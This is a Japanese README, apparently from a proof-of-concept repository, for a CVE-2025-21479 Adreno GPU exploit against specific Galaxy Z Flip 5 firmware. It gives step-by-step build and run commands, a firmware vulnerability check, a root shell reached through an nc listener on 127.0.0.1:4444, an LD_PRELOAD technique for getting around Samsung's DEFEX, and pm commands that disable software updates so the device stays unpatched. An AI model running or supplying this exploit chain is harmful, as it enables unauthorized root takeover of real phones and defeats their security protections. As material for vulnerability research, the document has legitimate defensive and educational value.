
Knoxが邪魔をするZFlip5向けCVE-2025-21479 PoC!(˶˃ ᵕ ˂˶)
Image
GPU 任意物理 R/W(CVE-2025-21479)→ KASLR リーク → SELinux パーミッシブ → RKP セーフな init-hook ルートサーバ & DEFEX バイパスカスタムバイナリ実行(LD_PRELOAD)
約6分かかります。お待ちください。
後で最適化します。
Galaxy Z Flip 5(SM-F731N)
ファームウェア: F731NKSU5EYD9
Android: 15
セキュリティパッチ: 2025-04-01
SoC: Snapdragon 8 Gen 2(SM8550 / kalama)
GPU: Adreno 740 v2
Galaxy Z Flip 5(SM-F7310)— @eoegamer テストと運転に感謝!!
ファームウェア: F7310ZCS4CXH2
Android: 14
SoC: Snapdragon 8 Gen 2(SM8550 / kalama)
GPU: Adreno 740
GPU ファームウェアパターンを使用:
xxd /vendor/firmware/a740_sqe.fw | grep -i "0300 422a"
一致する場合、ファームウェアは脆弱です。
; 脆弱なファームウェア(v675)
and $04, $12, 0x3
; パッチ適用済みファームウェア(v676)
and $04, $12, 0x7
exploit.c は F731NKSU5EYD9 向けにビルドされています。
他のファームウェアの場合は、最初に port_extract.py でリターゲットしてください(PORTING.md 参照)
# Android NDK(aarch64)で exploit.c をビルド、例:
# $NDK/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android34-clang exploit.c -o cheese
adb push cheese /data/local/tmp/
adb shell 'chmod +x /data/local/tmp/cheese; /data/local/tmp/cheese'
ブートごとに1回実行してください(ルートサーバは永続的ではありません)。
成功すると、ループバック(127.0.0.1:4444)にバインドされたルート toybox nc リスナーが残ります。adb shell からルートシェルを取得:
adb shell
nc 127.0.0.1 4444 # ルートシェル、uid=0 (u:r:sec_system_init_shell:s0)
標準バイナリは直接実行可能です。
問題は、DEFEX がカスタムネイティブバイナリを直接実行するのをブロックすることです。
そのため、代わりにルートシェルから、カスタムコードを標準ホストプロセスに注入する LD_PRELOAD ライブラリとして実行します:
LD_PRELOAD=/data/local/tmp/test.so /system/bin/toybox true
__attribute__((constructor)) エントリを持つ test.so をビルドします。そのコンストラクタは、標準ホスト内でルートとして実行されます!
15分以上ハングした場合は、再起動してデバイスを冷ましてください。
GPU スプレーは確率的です。失敗した場合はリトライするか再起動してください。
ソフトウェアアップデートを無効化
無効化:
pm disable-user --user 0 com.sec.android.soagent
pm disable-user --user 0 com.wssyncmldm
再有効化:
pm enable --user 0 com.sec.android.soagent
pm enable --user 0 com.wssyncmldm
認可されたセキュリティ研究および教育目的に限ります。デバイスとファームウェアが正確に一致している必要があります。